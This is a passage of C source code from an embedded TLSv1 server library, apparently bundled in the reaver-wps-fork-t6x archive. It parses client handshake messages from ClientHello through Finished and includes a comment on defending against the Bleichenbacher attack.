BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_server.h" #include "tlsv1_server_i.h" static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_change_cipher_spec(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_client_hello(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end, *c; size_t left, len, i, j; u16 cipher_suite; u16 num_suites; int compr_null_found; u16 ext_type, ext_len; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) goto decode_error; /* HandshakeType msg_type */ if (*pos != TLS_HANDSHAKE_TYPE_CLIENT_HELLO) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ClientHello)", *pos); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ClientHello"); pos++; /* uint24 length */ len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) goto decode_error; /* body - ClientHello */ wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello", pos, len); end = pos + len; /* ProtocolVersion client_version */ if (end - pos < 2) goto decode_error; conn->client_version = WPA_GET_BE16(pos); wpa_printf(MSG_DEBUG, "TLSv1: Client version %d.%d", conn->client_version >> 8, conn->client_version & 0xff); if (conn->client_version < TLS_VERSION) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in " "ClientHello"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_PROTOCOL_VERSION); return -1; } pos += 2; /* Random random */ if (end - pos < TLS_RANDOM_LEN) goto decode_error; os_memcpy(conn->client_random, pos, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random", conn->client_random, TLS_RANDOM_LEN); /* SessionID session_id */ if (end - pos < 1) goto decode_error; if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN) goto decode_error; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client session_id", pos + 1, *pos); pos += 1 + *pos; /* TODO: add support for session resumption */ /* CipherSuite cipher_suites<2..2^16-1> */ if (end - pos < 2) goto decode_error; num_suites = WPA_GET_BE16(pos); pos += 2; if (end - pos < num_suites) goto decode_error; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client cipher suites", pos, num_suites); if (num_suites & 1) goto decode_error; num_suites /= 2; cipher_suite = 0; for (i = 0; !cipher_suite && i < conn->num_cipher_suites; i++) { c = pos; for (j = 0; j < num_suites; j++) { u16 tmp = WPA_GET_BE16(c); c += 2; if (!cipher_suite && tmp == conn->cipher_suites[i]) { cipher_suite = tmp; break; } } } pos += num_suites * 2; if (!cipher_suite) { wpa_printf(MSG_INFO, "TLSv1: No supported cipher suite " "available"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for " "record layer"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->cipher_suite = cipher_suite; /* CompressionMethod compression_methods<1..2^8-1> */ if (end - pos < 1) goto decode_error; num_suites = *pos++; if (end - pos < num_suites) goto decode_error; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client compression_methods", pos, num_suites); compr_null_found = 0; for (i = 0; i < num_suites; i++) { if (*pos++ == TLS_COMPRESSION_NULL) compr_null_found = 1; } if (!compr_null_found) { wpa_printf(MSG_INFO, "TLSv1: Client does not accept NULL " "compression"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (end - pos == 1) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected extra octet in the " "end of ClientHello: 0x%02x", *pos); goto decode_error; } if (end - pos >= 2) { /* Extension client_hello_extension_list<0..2^16-1> */ ext_len = WPA_GET_BE16(pos); pos += 2; wpa_printf(MSG_DEBUG, "TLSv1: %u bytes of ClientHello " "extensions", ext_len); if (end - pos != ext_len) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid ClientHello " "extension list length %u (expected %u)", ext_len, (unsigned int) (end - pos)); goto decode_error; } /* * struct { * ExtensionType extension_type (0..65535) * opaque extension_data<0..2^16-1> * } Extension; */ while (pos < end) { if (end - pos < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid " "extension_type field"); goto decode_error; } ext_type = WPA_GET_BE16(pos); pos += 2; if (end - pos < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid " "extension_data length field"); goto decode_error; } ext_len = WPA_GET_BE16(pos); pos += 2; if (end - pos < ext_len) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid " "extension_data field"); goto decode_error; } wpa_printf(MSG_DEBUG, "TLSv1: ClientHello Extension " "type %u", ext_type); wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello " "Extension data", pos, ext_len); if (ext_type == TLS_EXT_SESSION_TICKET) { os_free(conn->session_ticket); conn->session_ticket = os_malloc(ext_len); if (conn->session_ticket) { os_memcpy(conn->session_ticket, pos, ext_len); conn->session_ticket_len = ext_len; } } pos += ext_len; } } *in_len = end - in_data; wpa_printf(MSG_DEBUG, "TLSv1: ClientHello OK - proceed to " "ServerHello"); conn->state = SERVER_HELLO; return 0; decode_error: wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ClientHello"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } static int tls_process_certificate(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, list_len, cert_len, idx; u8 type; struct x509_certificate *chain = NULL, *last = NULL, *cert; int reason; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message " "(len=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (type == TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) { if (conn->verify_peer) { wpa_printf(MSG_DEBUG, "TLSv1: Client did not include " "Certificate"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } return tls_process_client_key_exchange(conn, ct, in_data, in_len); } if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected Certificate/" "ClientKeyExchange)", type); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Certificate (certificate_list len %lu)", (unsigned long) len); /* * opaque ASN.1Cert<2^24-1>; * * struct { * ASN.1Cert certificate_list<1..2^24-1>; * } Certificate; */ end = pos + len; if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate " "(left=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } list_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) != list_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list " "length (len=%lu left=%lu)", (unsigned long) list_len, (unsigned long) (end - pos)); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } idx = 0; while (pos < end) { if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "certificate_list"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } cert_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) < cert_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate " "length (len=%lu left=%lu)", (unsigned long) cert_len, (unsigned long) (end - pos)); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)", (unsigned long) idx, (unsigned long) cert_len); if (idx == 0) { crypto_public_key_free(conn->client_rsa_key); if (tls_parse_cert(pos, cert_len, &conn->client_rsa_key)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } } cert = x509_certificate_parse(pos, cert_len); if (cert == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } if (last == NULL) chain = cert; else last->next = cert; last = cert; idx++; pos += cert_len; } if (x509_certificate_chain_validate(conn->cred->trusted_certs, chain, &reason) < 0) { int tls_reason; wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain " "validation failed (reason=%d)", reason); switch (reason) { case X509_VALIDATE_BAD_CERTIFICATE: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; case X509_VALIDATE_UNSUPPORTED_CERTIFICATE: tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE; break; case X509_VALIDATE_CERTIFICATE_REVOKED: tls_reason = TLS_ALERT_CERTIFICATE_REVOKED; break; case X509_VALIDATE_CERTIFICATE_EXPIRED: tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED; break; case X509_VALIDATE_CERTIFICATE_UNKNOWN: tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN; break; case X509_VALIDATE_UNKNOWN_CA: tls_reason = TLS_ALERT_UNKNOWN_CA; break; default: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; } tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason); x509_certificate_chain_free(chain); return -1; } x509_certificate_chain_free(chain); *in_len = end - in_data; conn->state = CLIENT_KEY_EXCHANGE; return 0; } static int tls_process_client_key_exchange_rsa( struct tlsv1_server *conn, const u8 *pos, const u8 *end) { u8 *out; size_t outlen, outbuflen; u16 encr_len; int res; int use_random = 0; if (end - pos < 2) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } encr_len = WPA_GET_BE16(pos); pos += 2; outbuflen = outlen = end - pos; out = os_malloc(outlen >= TLS_PRE_MASTER_SECRET_LEN ? outlen : TLS_PRE_MASTER_SECRET_LEN); if (out == NULL) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* * struct { * ProtocolVersion client_version; * opaque random[46]; * } PreMasterSecret; * * struct { * public-key-encrypted PreMasterSecret pre_master_secret; * } EncryptedPreMasterSecret; */ /* * Note: To avoid Bleichenbacher attack, we do not report decryption or * parsing errors from EncryptedPreMasterSecret processing to the * client. Instead, a random pre-master secret is used to force the * handshake to fail. */ if (crypto_private_key_decrypt_pkcs1_v15(conn->cred->key, pos, end - pos, out, &outlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt " "PreMasterSecret (encr_len=%d outlen=%lu)", (int) (end - pos), (unsigned long) outlen); use_random = 1; } if (outlen != TLS_PRE_MASTER_SECRET_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected PreMasterSecret " "length %lu", (unsigned long) outlen); use_random = 1; } if (WPA_GET_BE16(out) != conn->client_version) { wpa_printf(MSG_DEBUG, "TLSv1: Client version in " "ClientKeyExchange does not match with version in " "ClientHello"); use_random = 1; } if (use_random) { wpa_printf(MSG_DEBUG, "TLSv1: Using random premaster secret " "to avoid revealing information about private key"); outlen = TLS_PRE_MASTER_SECRET_LEN; if (os_get_random(out, outlen)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " "data"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(out); return -1; } } res = tlsv1_server_derive_keys(conn, out, outlen); /* Clear the pre-master secret since it is not needed anymore */ os_memset(out, 0, outbuflen); os_free(out); if (res) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return 0; } static int tls_process_client_key_exchange_dh_anon( struct tlsv1_server *conn, const u8 *pos, const u8 *end) { const u8 *dh_yc; u16 dh_yc_len; u8 *shared; size_t shared_len; int res; /* * struct { * select (PublicValueEncoding) { * case implicit: struct { }; * case explicit: opaque dh_Yc<1..2^16-1>; * } dh_public; * } ClientDiffieHellmanPublic; */ wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientDiffieHellmanPublic", pos, end - pos); if (end == pos) { wpa_printf(MSG_DEBUG, "TLSv1: Implicit public value encoding " "not supported"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid client public value " "length"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } dh_yc_len = WPA_GET_BE16(pos); dh_yc = pos + 2; if (dh_yc + dh_yc_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Client public value overflow " "(length %d)", dh_yc_len); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)", dh_yc, dh_yc_len); if (conn->cred == NULL || conn->cred->dh_p == NULL || conn->dh_secret == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } shared_len = conn->cred->dh_p_len; shared = os_malloc(shared_len); if (shared == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for " "DH"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* shared = Yc^secret mod p */ if (crypto_mod_exp(dh_yc, dh_yc_len, conn->dh_secret, conn->dh_secret_len, conn->cred->dh_p, conn->cred->dh_p_len, shared, &shared_len)) { os_free(shared); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange", shared, shared_len); os_memset(conn->dh_secret, 0, conn->dh_secret_len); os_free(conn->dh_secret); conn->dh_secret = NULL; res = tlsv1_server_derive_keys(conn, shared, shared_len); /* Clear the pre-master secret since it is not needed anymore */ os_memset(shared, 0, shared_len); os_free(shared); if (res) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return 0; } static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; tls_key_exchange keyx; const struct tls_cipher_suite *suite; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ClientKeyExchange " "(Left=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ClientKeyExchange " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type != TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ClientKeyExchange)", type); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ClientKeyExchange"); wpa_hexdump(MSG_DEBUG, "TLSv1: ClientKeyExchange", pos, len); suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite == NULL) keyx = TLS_KEY_X_NULL; else keyx = suite->key_exchange; if (keyx == TLS_KEY_X_DH_anon && tls_process_client_key_exchange_dh_anon(conn, pos, end) < 0) return -1; if (keyx != TLS_KEY_X_DH_anon && tls_process_client_key_exchange_rsa(conn, pos, end) < 0) return -1; *in_len = end - in_data; conn->state = CERTIFICATE_VERIFY; return 0; } static int tls_process_certificate_verify(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; size_t hlen, buflen; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN], *hpos, *buf; enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA; u16 slen; if (ct == TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { if (conn->verify_peer) { wpa_printf(MSG_DEBUG, "TLSv1: Client did not include " "CertificateVerify"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } return tls_process_change_cipher_spec(conn, ct, in_data, in_len); } if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateVerify " "message (len=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected CertificateVerify " "message length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected CertificateVerify)", type); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateVerify"); /* * struct { * Signature signature; * } CertificateVerify; */ hpos = hash; if (alg == SIGN_ALG_RSA) { hlen = MD5_MAC_LEN; if (conn->verify.md5_cert == NULL || crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_cert = NULL; crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL); conn->verify.sha1_cert = NULL; return -1; } hpos += MD5_MAC_LEN; } else crypto_hash_finish(conn->verify.md5_cert, NULL, NULL); conn->verify.md5_cert = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_cert == NULL || crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) { conn->verify.sha1_cert = NULL; tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_cert = NULL; if (alg == SIGN_ALG_RSA) hlen += MD5_MAC_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen); if (end - pos < 2) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } slen = WPA_GET_BE16(pos); pos += 2; if (end - pos < slen) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: Signature", pos, end - pos); if (conn->client_rsa_key == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No client public key to verify " "signature"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } buflen = end - pos; buf = os_malloc(end - pos); if (crypto_public_key_decrypt_pkcs1(conn->client_rsa_key, pos, end - pos, buf, &buflen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt signature"); os_free(buf); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Decrypted Signature", buf, buflen); if (buflen != hlen || os_memcmp(buf, hash, buflen) != 0) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid Signature in " "CertificateVerify - did not match with calculated " "hash"); os_free(buf); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } os_free(buf); *in_len = end - in_data; conn->state = CHANGE_CIPHER_SPEC; return 0; } static int tls_process_change_cipher_spec(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos; size_t left; if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 1) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (*pos != TLS_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received data 0x%x", *pos); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ChangeCipherSpec"); if (tlsv1_record_change_read_cipher(&conn->rl) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to change read cipher " "for record layer"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *in_len = pos + 1 - in_data; conn->state = CLIENT_FINISHED; return 0; } static int tls_process_client_finished(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, hlen; u8 verify_data[TLS_VERIFY_DATA_LEN]; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short record (left=%lu) for " "Finished", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (pos[0] != TLS_HANDSHAKE_TYPE_FINISHED) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Finished; received " "type 0x%x", pos[0]); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } len = WPA_GET_BE24(pos + 1); pos += 4; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Too short buffer for Finished " "(len=%lu > left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (len != TLS_VERIFY_DATA_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected verify_data length " "in Finished: %lu (expected %d)", (unsigned long) len, TLS_VERIFY_DATA_LEN); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: verify_data in Finished", pos, TLS_VERIFY_DATA_LEN); hlen = MD5_MAC_LEN; if (conn->verify.md5_client == NULL || crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_client = NULL; crypto_hash_finish(conn->verify.sha1_client, NULL, NULL); conn->verify.sha1_client = NULL; return -1; } conn->verify.md5_client = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_client == NULL || crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN, &hlen) < 0) { conn->verify.sha1_client = NULL; tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_client = NULL; if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "client finished", hash, MD5_MAC_LEN + SHA1_MAC_LEN, verify_data, TLS_VERIFY_DATA_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive verify_data"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)", verify_data, TLS_VERIFY_DATA_LEN); if (os_memcmp(pos, verify_data, TLS_VERIFY_DATA_LEN) != 0) { wpa_printf(MSG_INFO, "TLSv1: Mismatch in verify_data"); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Finished"); *in_len = end - in_data; if (conn->use_session_ticket) { /* Abbreviated handshake using session ticket; RFC 4507 */ wpa_printf(MSG_DEBUG, "TLSv1: Abbreviated handshake completed " "successfully"); conn->state = ESTABLISHED; } else { /* Full handshake */ conn->state = SERVER_CHANGE_CIPHER_SPEC; } return 0; } int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct, const u8 *buf, size_t *len) { if (ct == TLS_CONTENT_TYPE_ALERT) { if (*len < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Alert underflow"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received alert %d:%d", buf[0], buf[1]); *len = 2; conn->state = FAILED; return -1; } switch (conn->state) { case CLIENT_HELLO: if (tls_process_client_hello(conn, ct, buf, len)) return -1; break; case CLIENT_CERTIFICATE: if (tls_process_certificate(conn, ct, buf, len)) return -1; break; case CLIENT_KEY_EXCHANGE: if (tls_process_client_key_exchange(conn, ct, buf, len)) return -1; break; case CERTIFICATE_VERIFY: if (tls_process_certificate_verify(conn, ct, buf, len)) return -1; break; case CHANGE_CIPHER_SPEC: if (tls_process_change_cipher_spec(conn, ct, buf, len)) return -1; break; case CLIENT_FINISHED: if (tls_process_client_finished(conn, ct, buf, len)) return -1; break; default: wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d " "while processing received message", conn->state); return -1; } if (ct == TLS_CONTENT_TYPE_HANDSHAKE) tls_verify_hash_add(&conn->verify, buf, *len); return 0; } reaver-wps-fork-t6x-1.6.6/src/tls/tlsv1_server_write.c000077500000000000000000000475471363372615500227420ustar00rootroot00000000000000/* * TLSv1 server - write handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and 